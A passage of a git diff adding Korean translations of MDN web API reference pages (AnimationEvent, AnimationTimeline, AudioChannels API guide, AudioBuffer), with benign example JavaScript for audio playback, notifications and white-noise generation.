+<p><strong><code>AnimationEvent</code></strong> 인터페이스는 <a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">에니메이션</a>과 관련된 정보를 제공하는 이벤트를 나타냅니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>주어진 매개변수로 <code>AnimationEvent</code>를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>{{domxref("Event")}}의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>트랜지션과 관련된 {{cssxref("animation-name")}} CSS 속성의 값을 가진 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>애니메이션이 재생된 총 시간을 나타내는 실수입니다. 초 단위로, 애니메이션이 일시정지된 시간은 제외합니다. <code>animationstart</code> 이벤트의 <code>elapsedTime</code>은 <code>0.0</code>이지만, {{cssxref("animation-delay")}} 값이 음수였다면 대신 <code>(-1 * delay)</code>를 값으로 가집니다.</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>애니메이션이 재생 중인 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>의 이름을 값으로 가진 {{domxref("DOMString")}}입니다. <code>'::'</code>으로 시작합니다. 애니메이션이 일반 요소에서 재생 중이라면 빈 문자열 <code>''</code>을 반환합니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>{{domxref("Event")}}</em>의 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>삭제 예정 메서드 {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}를 사용해 <code>AnimationEvent</code>를 초기화합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+ <td>{{ Spec2('CSS3 Animations') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.AnimationEvent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>애니메이션 관련 CSS 속성과 @-규칙: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/ko/web/api/animationtimeline/currenttime/index.html b/files/ko/web/api/animationtimeline/currenttime/index.html
new file mode 100644
index 0000000000..8a647166b6
--- /dev/null
+++ b/files/ko/web/api/animationtimeline/currenttime/index.html
@@ -0,0 +1,102 @@
+---
+title: AnimationTimeline.currentTime
+slug: Web/API/AnimationTimeline/currentTime
+translation_of: Web/API/AnimationTimeline/currentTime
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p> </p>
+
+<p>Web Animations API의 AnimationTimeline 인터페이스의 currentTime 읽기 전용 속성은 타임 라인의 현재 시간을 밀리 초 단위로 반환하거나 타임 라인이 비활성 상태이면 null을 반환합니다.출력 값이 생성되는 시간 세그먼트를 정의합니다. 이러한 값은 대상 속성에 애니메이션 효과를 적용하는 데 사용됩니다.</p>
+
+<pre class="syntaxbox">var <em>currentTime</em> = <em>AnimationTimeline</em>.currentTime;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>타임 라인의 현재 시간을 밀리 초 단위로 나타내는 숫자 또는 타임 라인이 비활성 상태 인 경우 null입니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Animations', '#dom-animationtimeline-currenttime', 'currentTime' )}}</td>
+ <td>{{Spec2('Web Animations')}}</td>
+ <td>Editor's draft.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(54)}}</td>
+ <td>
+ <p>{{CompatGeckoDesktop(34)}}<sup>[1]</sup></p>
+ </td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(54)}}</td>
+ <td>{{CompatChrome(54)}}</td>
+ <td>{{CompatGeckoMobile(34)}}<sup>[1]</sup></td>
+ <td>{{ CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can let it in beta and release forms by setting the preference <code>dom.animations-api.core.enabled</code> to <code>true</code>, and can disable it in any Firefox version by setting this preference to <code>false</code>.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("AnimationTimeline")}}</li>
+ <li>{{domxref("DocumentTimeline")}} inherits this property</li>
+ <li>{{domxref("Document.timeline")}} returns a timeline object which inherits this property</li>
+</ul>
diff --git a/files/ko/web/api/animationtimeline/index.html b/files/ko/web/api/animationtimeline/index.html
new file mode 100644
index 0000000000..0ae7553352
--- /dev/null
+++ b/files/ko/web/api/animationtimeline/index.html
@@ -0,0 +1,56 @@
+---
+title: AnimationTimeline
+slug: Web/API/AnimationTimeline
+tags:
+ - API
+ - Animation
+ - AnimationTimeline
+ - Experimental
+ - Interface
+ - Reference
+ - Web Animations
+ - waapi
+ - web animations api
+translation_of: Web/API/AnimationTimeline
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p>The <code>AnimationTimeline</code> interface of the <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> represents the timeline of an animation. This interface exists to define timeline features (inherited by {{domxref("DocumentTimeline")}} and future timeline types) and is not itself directly used by developers. Anywhere you see <code>AnimationTimeline</code>, you should use <code>DocumentTimeline</code> or any other timeline type instead.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AnimationTimeline.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Returns the time value in milliseconds for this timeline or <code>null</code> if this timeline is inactive.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Animations', '#the-animationtimeline-interface', 'AnimationTimeline' )}}</td>
+ <td>{{Spec2('Web Animations')}}</td>
+ <td>Editor's draft.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.AnimationTimeline")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("DocumentTimeline")}}</li>
+ <li>{{domxref("Document.timeline")}}</li>
+</ul>
diff --git a/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html
new file mode 100644
index 0000000000..1e07e262c6
--- /dev/null
+++ b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html
@@ -0,0 +1,248 @@
+---
+title: Using the AudioChannels API
+slug: Web/API/Audio_Channels_API/Using_the_AudioChannels_API
+tags:
+ - Firefox OS
+ - Guide
+ - Non-standard
+translation_of: Archive/B2G_OS/API/Audio_Channels_API/Using_the_AudioChannels_API
+---
+<p>{{DefaultAPISidebar("Audio Channels API")}}{{ non-standard_header() }}</p>
+
+<div class="summary">
+<p>오디오 채널 API(<a href="/en-US/docs/Web/API/Audio_Channels_API">Audio Channels API</a>)는 현재 Firefox OS 전용 기능으로, 응용프로그램의 오디오 컨텐트를 중요성에 따른 계층구조로 배치하도록 한다. 이는 다른 오디오의 재생과 액션 발생에 반응하여 오디오가 일시정지되고 다시재생될 때를 지시하고 다른 종류의 볼륨을 제어할 수 있도록 한다. 이 가이드는 오디오 채널에 대한 기본적인 사용방법을 보여줄 것이다.</p>
+</div>
+
+<p>오디오 채널의 종류는 다음과 같다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">채널 이름</th>
+ <th scope="col">중요도</th>
+ <th scope="col">용도</th>
+ <th scope="col">앱 권한 수준</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>normal</td>
+ <td>1</td>
+ <td>UI 효과음, 앱과 웹 컨텐트</td>
+ <td>Normal</td>
+ </tr>
+ <tr>
+ <td>content</td>
+ <td>2</td>
+ <td>음악, 라디오, 비디오</td>
+ <td>Normal</td>
+ </tr>
+ <tr>
+ <td>notification</td>
+ <td>3</td>
+ <td>새 이메일, SMS 수신음</td>
+ <td>Privileged</td>
+ </tr>
+ <tr>
+ <td>alarm</td>
+ <td>4</td>
+ <td>알람 시계, 캘린더 알람</td>
+ <td>Privileged</td>
+ </tr>
+ <tr>
+ <td>ringer</td>
+ <td>5</td>
+ <td>전화 수신 벨소리</td>
+ <td>Internal</td>
+ </tr>
+ <tr>
+ <td>telephony</td>
+ <td>6</td>
+ <td>진행중인 통화, VOIP 통화</td>
+ <td>Internal</td>
+ </tr>
+ <tr>
+ <td>publicnotification</td>
+ <td>7</td>
+ <td>강제된 카메라 셔터음</td>
+ <td>Internal</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>하나의 오디오 채널이 사용되면, 언제든지 낮은 우선순위의 채널들은 자동으로 일시정디 된다. 단, 한가지 예외가 있는데, "normal"과 "content"채널은 동일한 우선순위를 가진다. 이는 "content"채널이 사용된다면 "normal"채널과 믹싱된다는 것을 의미한다. 만약 두 앱이 동시에 "content" 채널을 사용하려 한다면, 포어그라운드 앱이 우선권을 가진다. 만약 두 앱 모두 백그라운드 앱이라면, 마지막에 채널을 사용시도한 앱이 우선권을 가진다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 각 채널은 음소거와 볼륨 설정을 따로 가지고 있다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: "telephony" 채널은 통화용 내장 스피커를 사용한다. 다른 모든 채널은 스피커 또는 헤드폰/헤드셋 등을 사용한다.</p>
+</div>
+
+<h2 id="유즈_케이스">유즈 케이스</h2>
+
+<p>As obvious user-centric uses cases, audio channels allow users to play music from audio player apps even when they are running in the background, so they can do other things as it plays. However, they probably want the music to pause when someone rings the phone. As another example, when users mute their phone, they probably don't want to also mute their wake up alarm for the next morning.</p>
+
+<p>Other use cases:</p>
+
+<ul>
+ <li>When the user leaves an app, under normal circumstances the app should be muted.</li>
+ <li>When the volume keys are used it should change the volume for different audio types depending on context. For example while in the alarm app, the volume keys should adjust the alarm volume and not the "normal" volume.</li>
+ <li>When a video app starts playing audio, background music should be muted while the video is playing.</li>
+ <li>Turn down the volume of background audio rather than completely silence it when the "notification" channel is used.</li>
+ <li>Show which applications/tabs are currently playing audio.</li>
+ <li>Show UI to mute a specific app/tag.</li>
+ <li>Enable a spotify-app/tab to be treated as a music app. I.e. it should be able to get the same benefits as if it had mozaudiochannel=content. Including both the automatic muting of other content audio, and the ability to play in the background.</li>
+ <li>Control which application/tab gets to play audio if there are several background applications that all are attempting to use the "content" channel, but no visible apps using the "content" channel.</li>
+</ul>
+
+<h2 id="예제_앱">예제 앱</h2>
+
+<p>To explain audio channel functionality, we have built a sample app, imaginitively called <a href="https://github.com/mdn/audio-channels-demo">audio-channels-demo</a> (you can <a href="http://mdn.github.io/audio-channels-demo/">see it running live here</a>.) The following shows what it looks like on Firefox OS.</p>
+
+<p><img alt="A demo showing a title of AudioChannels demo, with an audio player and a select box to choose an audio channel to play the audio in." src="https://mdn.mozillademos.org/files/8801/demo-screen.png" style="display: block; height: 356px; margin: 0px auto; width: 200px;"></p>
+
+<p>The demo provides an audio player, and a {{htmlelement("select")}} box for choosing what audio channel to play the audio in (only "Normal" and "Content" are provided.) When the content audio channel is selected, you will be able to go to the homescreen and put the app in the background but still have the music keep playing. This is not the case with the normal channel — "normal" audio content is stopped when an app goes into the background.</p>
+
+<p>To interrupt the playing of "content" audio content, you could try phoning the phone that the app is running on, or setting off an alarm. As you can see from the table above, these are both in higher priority audio channels.</p>
+
+<p>The app also fires notifications when audio is interrupted or play resumes, and when the headphones are unplugged or plugged in again. Let's explore how this functionality is implemented.</p>
+
+<h2 id="매니페스트_권한이_요구된다">매니페스트 권한이 요구된다</h2>
+
+<p>As explained in the table near the top, the different audio channels require a range of <a href="/en-US/Apps/Build/App_permissions">different permission levels</a> for their use in apps, ranging from normal (hosted apps) to internal (also known as certified.) In any case, you do need to declare the <code>permissions</code> field in your <code>manifest.webapp</code> file to use AudioChannels, once per channel (note that we also declared permission to use system notifications, as they are used in our demo app also.)</p>
+
+<pre class="brush: json">"permissions": {
+ "audio-channel-normal" : {
+ "description" : "Needed to play this app's audio content on the normal channel"
+ },
+ "audio-channel-content" : {
+ "description" : "Needed to play this app's audio content on the content channel"
+ },
+ "desktop-notification" : {
+ "description" : "Needed to fire system notifications"
+ }
+}</pre>
+
+<h2 id="Selecting_the_audio_channel">Selecting the audio channel</h2>
+
+<p>Changing the audio channel to play the audio through in the app is a slightly more complex matter than you might think. Declaring the channel type statically in your HTML might look like this:</p>
+
+<pre class="brush: html">&lt;audio mozaudiochannel="content" autoplay src="myAudio.ogg"&gt;&lt;/audio&gt;</pre>
+
+<p>Declaring it dynamically in your JavaScript might look like this:</p>
+
+<pre class="brush: js">var player = new Video();
+player.mozAudioChannelType = 'content';
+player.src = '../video-clips/myVideo.ogv';</pre>
+
+<p>However you do it, you need to declare the channel before you declare the <code>src</code> of the media you want to play, so it can be loaded and placed into the right channel. For this reason, our demo app does it in a slightly convoluted way, deleting and then recreating the audio player each time the audio channel is changed:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+
+ ...
+
+ audioContainer.innerHTML = '';
+ var player = document.createElement('audio');
+ var source1 = document.createElement('source');
+ var source2 = document.createElement('source');
+
+ player.controls = true;
+ player.mozAudioChannelType = channelValue;
+ source1.src = 'audio/dragon.ogg';
+ source1.type = 'audio/ogg';
+ source2.src = 'audio/dragon.mp3';
+ source2.type = 'audio/mpeg';
+
+ player.appendChild(source1);
+ player.appendChild(source2);
+ audioContainer.appendChild(player);
+
+ ...
+
+}
+
+channelSelect.addEventListener('change', function() {
+ createAudio(channelSelect.value);
+});</pre>
+
+<p>So the <code>createAudio()</code> function is run when the {{htmlelement("select")}} box (referenced in the JS as <code>channelSelect</code>) has its value changed, with the <code>channelSelect</code> value as a parameter. In this function, the <code>audioContainer</code> (a simple {{htmlelement("div")}} that wraps the audio player) has its contents deleted. Next, a new audio player and {{htmlelement("source")}} elements are created, have their necessary attributes filled in, and are added back into the <code>audioContainer</code>. Note that <code>player.mozAudioChannelType = channelValue;</code> is included before the audio source is set.</p>
+
+<p>So with the audio channel set to "content", you can now keep the audio playing even when the app is in the background.</p>
+
+<h2 id="Setting_which_channel's_volume_to_control">Setting which channel's volume to control</h2>
+
+<p>As well as setting what audio channel your audio is going to play in, you can also separately set what channel will have its volume adjusted when the user presses the device's volume keys. This for example allows us to adjust our standard content's volume without affect ringer or alarm volume. It is controlled using the {{domxref("AudioChannelManager.volumeControlChannel")}} property. So at the top of the <code>createAudio()</code> function, we include this block:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+ if (navigator.mozAudioChannelManager) {
+ if(channelValue == 'normal') {
+ navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+ } else if(channelValue == 'content') {
+ navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+ }
+ console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+ }
+
+ ...
+
+}
+</pre>
+
+<p>The {{domxref("AudioChannelManager")}} object is accessed by a call to the {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} property — note the <code>moz</code> prefix. This is first done to provide some rudimentary feature detection, so trying to access this feature won't break the app on platforms that don't support it. Next, we include an <code>if ... else if</code> block to check what channel value was passed into the function from the {{htmlelement("select")}} element, and then set the <code>volumeControlChannel</code> value accordingly.</p>
+
+<h2 id="Firing_notifications_when_the_audio_is_interrupted">Firing notifications when the audio is interrupted</h2>
+
+<p>Now we have audio playing in an audio channel, it will be interrupted either when a more important audio channel starts being played (for example when a telephone call is received), or when the app is moved into the background in the case of the lowest priority "normal" channel. When this condition ends, our channel will resume playing. We can respond to these events using the <code>mozinterruptbegin</code> and <code>mozinterruptend</code> event handlers, which can be attached to the video or audio player playing the audio. You can see these handlers being used at the bottom of the <code>createAudio()</code> function:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+
+ ...
+
+ player.addEventListener('mozinterruptbegin', function() {
+ var notification = new Notification('Metal interrupted!', { body: "Something more important?" });
+ });
+
+ player.addEventListener('mozinterruptend', function() {
+ var notification = new Notification('Metal resumed!', { body: "Important thing finished." });
+ });
+}</pre>
+
+<p>Here we attach both relevant event listeners to the audio <code>player</code>; when the events occur, we run simple functions that fire system notifications to tell the user what has happened. See the following screenshots for what it will look like:</p>
+
+<div style="width: 410px; margin: 0 auto;"><img alt="A notification at the top of the Firefox OS interface saying Metal interrupted: something more important?" src="https://mdn.mozillademos.org/files/8803/interrupt-notification.png" style="height: 356px; margin: 0; padding: 0; width: 200px;"> <img alt="A notification at the top of the Firefox OS interface saying Metal resumed: important thing finished?" src="https://mdn.mozillademos.org/files/8805/resume-notification.png" style="height: 356px; margin: 0; padding: 0; width: 200px;"></div>
+
+<h2 id="Firing_notifications_when_the_headphones_are_(un)plugged">Firing notifications when the headphones are (un)plugged</h2>
+
+<p>The {{domxref("AudioChannelManager")}} object includes a {{domxref("AudioChannelManager.headphones","headphones")}} property that returns <code>true</code> if headphones are plugged into the device and false if not, and an event handler — {{domxref("AudioChannelManager.onheadphoneschange","onheadphoneschange")}} — which fires whenever headphones are plugged in to or unplugged from the device. We decided to use these together to create a headphone status notification system:</p>
+
+<pre class="brush: js">if (navigator.mozAudioChannelManager) {
+ navigator.mozAudioChannelManager.onheadphoneschange = function() {
+ if(navigator.mozAudioChannelManager.headphones == true) {
+ var notification = new Notification('Headphones plugged in!');
+ } else {
+ var notification = new Notification('Headphones unplugged!');
+ }
+ }
+}</pre>
+
+<p>Let's go through this and explain what's happening. Again, multiple calls are made to {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}, first for feature detection, then to set up a function that runs when the onheadphoneschange handler fires. Inside this function, we check whether the headphones property returns true — if so, the headphones are plugged in, so we tell the user that with a notification. If not, they must be unplugged, so we return a suitable notification for that case too. The notifications will look something like this:</p>
+
+<p><img alt="A notification at the top of the Firefox OS interface saying Headphones plugged in!" src="https://mdn.mozillademos.org/files/8807/headphones-notification.png" style="display: block; height: 356px; margin: 0px auto; width: 200px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>The AudioChannels API has no official spec at the moment; see <a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a> for implementation details, WebIDL, etc.</p>
+
+<h2 id="See_also">See also</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li>
+ <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+ <li><a href="/en-US/Apps/Build/User_notifications">Notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/audiobuffer/index.html b/files/ko/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..8c5e1a8736
--- /dev/null
+++ b/files/ko/web/api/audiobuffer/index.html
@@ -0,0 +1,172 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef}}</p>
+<div>
+ <p><code>AudioBuffer는 </code>{{ domxref("AudioContext.decodeAudioData()") }} 혹은 {{ domxref("AudioContext.createBuffer()") }}를 통해 만들어진 로우 데이터를 메모리상에 두고 사용하는 기술이다. 일단 한번 AudioBuffer 에 들어간 정보는 {{ domxref("AudioBufferSourceNode") }}를 통해 재생이 가능하다.</p>
+ <p>이 객체는 일반적으로 45초 이하의 오디오 정보를 가지고 있다. 더 긴 시간의 소리정보는 {{domxref("MediaElementAudioSourceNode")}}를 사용하는 것이 더 적합하다.  The buffer contains data in the following format:  non-interleaved IEEE754 32-bit linear PCM with a nominal range between <code>-1</code> and <code>+1</code>, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.  만약에  {{domxref("AudioBuffer")}} 가 멀티 채널을 가진다면 이는 버퍼를 나눠서 저장을 합니다.</p>
+</div>
+<h2 id="Properties">Properties</h2>
+<dl>
+ <dt>
+ {{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>
+ 버퍼에 저장된 샘플정보의 매 초당 배율을 float형으로 리턴한다.</dd>
+ <dt>
+ {{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>
+ 샘플프레임안의 버퍼에 저장된 PCM정보의 길이를 정수형으로 리턴한다.</dd>
+ <dt>
+ {{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>
+ 버퍼에 저장된 PCM정보의 재생길이를 double형으로 리턴한다.</dd>
+ <dt>
+ {{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>
+ 버퍼에 저장된 PCM정보에 의해 구분된 채널의 갯수를 정수형으로 리턴한다.</dd>
+</dl>
+<h2 id="Methods">Methods</h2>
+<dl>
+ <dt>
+ {{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>
+ {{jsxref("Float32Array")}}에 담긴 PCM데이터와 channel 파라메로 정의된 채널 정보(첫번째 채널은 0)를 리턴한다.</dd>
+ <dt>
+ {{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>
+ 특정 채널의 <span class="idlType"><code>AudioBuffer를 </code></span><code>destination배열로 복사를 한다.</code></dd>
+ <dt>
+ {{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>
+ 특정 채널의 <span class="idlType"><code>AudioBuffer에 </code></span><code>source배열로 부터 정보를 복사해 온다.</code></dd>
+</dl>
+<h2 id="Example">Example</h2>
+<p>이 예제는 어떻게 <code>AudioBuffer 를 생성하고</code> 랜덤한 화이트 노이즈를 채우는 방법을 설명한다.  <a href="https://github.com/mdn/audio-buffer">audio-buffer demo</a> 에서 전체 소스를 확인 가능하고 <a href="http://mdn.github.io/audio-buffer/">running live</a> 실시간 테스트고 가능하다.</p>
+<pre class="brush: js;highlight:[7,14,27]">// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+ // Fill the buffer with white noise;
+ // just random values between -1.0 and 1.0
+ for (var channel = 0; channel &lt; channels; channel++) {
+ // This gives us the actual array that contains the data
+ var nowBuffering = myArrayBuffer.getChannelData(channel);
+ for (var i = 0; i &lt; frameCount; i++) {
+ // Math.random() is in [0; 1.0]
+ // audio needs to be in [-1.0; 1.0]
+ nowBuffering[i] = Math.random() * 2 - 1;
+ }
+ }
+
+ // Get an AudioBufferSourceNode.
+ // This is the AudioNode to use when we want to play an AudioBuffer
+ var source = audioCtx.createBufferSource();
+
+ // set the buffer in the AudioBufferSourceNode
+ source.buffer = myArrayBuffer;
+
+ // connect the AudioBufferSourceNode to the
+ // destination so we can hear the sound
+ source.connect(audioCtx.destination);
+
+ // start the source playing
+ source.start();
+
+}
+</pre>
+<h2 id="Specification">Specification</h2>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>14 {{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoDesktop(25)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(27)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>28 {{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoMobile(25)}}</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(27)}}</td>
+ <td> </td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiobuffersourcenode/index.html b/files/ko/web/api/audiobuffersourcenode/index.html
new file mode 100644
index 0000000000..84d15b5d2d
--- /dev/null
+++ b/files/ko/web/api/audiobuffersourcenode/index.html
@@ -0,0 +1,146 @@
+---
+title: AudioBufferSourceNode
+slug: Web/API/AudioBufferSourceNode
+translation_of: Web/API/AudioBufferSourceNode
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary"><strong><code>AudioBufferSourceNode</code></strong> 의 오디오 소스는 in-memory 의 {{domxref("AudioNode")}} 상에 저장된 데이터로 구성되어있다. 이는 오디오 소스 그 자체처럼 동작을 한다.</span></p>
+
